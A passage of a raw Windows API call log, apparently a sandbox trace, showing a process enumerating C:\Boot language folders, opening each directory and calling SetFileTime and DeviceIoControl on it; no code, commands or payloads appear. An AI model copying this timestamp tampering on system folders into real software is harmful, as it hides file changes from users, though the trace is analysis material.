(in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.620] GetLastError () returned 0x12 [0039.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.620] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.620] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0039.620] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.620] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.620] CreateFileW (lpFileName="C:\\Boot\\sv-SE" (normalized: "c:\\boot\\sv-se"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.621] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.621] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.621] NtClose (Handle=0x124) returned 0x0 [0039.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.621] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.621] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.621] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4ea8 [0039.621] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebaf8 [0039.621] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.621] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.621] GetLastError () returned 0x12 [0039.621] FindFirstFileExW (in: lpFileName="C:\\Boot\\sv-SE\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.622] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.622] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.622] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.622] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.622] GetLastError () returned 0x12 [0039.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.622] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.622] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.622] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0039.622] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.622] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.631] CreateFileW (lpFileName="C:\\Boot\\tr-TR" (normalized: "c:\\boot\\tr-tr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.631] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.631] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.631] NtClose (Handle=0x15c) returned 0x0 [0039.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.631] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.631] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.631] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4ec8 [0039.631] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebb80 [0039.631] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.631] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.632] GetLastError () returned 0x12 [0039.632] FindFirstFileExW (in: lpFileName="C:\\Boot\\tr-TR\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.632] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.632] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.632] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.632] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.632] GetLastError () returned 0x12 [0039.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.632] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.632] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.632] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0039.632] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.632] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.632] CreateFileW (lpFileName="C:\\Boot\\zh-CN" (normalized: "c:\\boot\\zh-cn"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0039.632] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.633] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.633] NtClose (Handle=0x124) returned 0x0 [0039.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.633] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f80 [0039.633] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.633] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f258 [0039.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9d4ee8 [0039.633] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebc08 [0039.633] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f258) returned 1 [0039.633] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.633] GetLastError () returned 0x12 [0039.633] FindFirstFileExW (in: lpFileName="C:\\Boot\\zh-CN\\*", fInfoLevelId=0x1, lpFindFileData=0x119f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f4c4) returned 0x2e8f40 [0039.633] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0039.634] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.634] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0039.634] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0039.634] GetLastError () returned 0x12 [0039.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f2e0) returned 1 [0039.634] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0039.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f368) returned 1 [0039.634] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.634] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f77c | out: lpFindFileData=0x119f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0039.634] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.634] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), fInfoLevelId=0x0, lpFileInformation=0x119f678 | out: lpFileInformation=0x119f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0039.646] CreateFileW (lpFileName="C:\\Boot\\zh-HK" (normalized: "c:\\boot\\zh-hk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0039.646] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119f6bc, lpLastWriteTime=0x119f6bc) returned 0 [0039.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9d9690 [0039.646] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9d9690, nOutBufferSize=0x4000, lpBytesReturned=0x119f714, lpOverlapped=0x0 | out: lpOutBuffer=0x9d9690, lpBytesReturned=0x119f714, lpOverlapped=0x0) returned 0 [0039.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9d9690) returned 1 [0039.646] NtClose (Handle=0x15c) returned 0x0 [0039.646] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94f698) returned 1 [0039.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f698 [0039.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f368 [0039.646] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94f2e0 [0039.646] FindFirstFileExW (in: 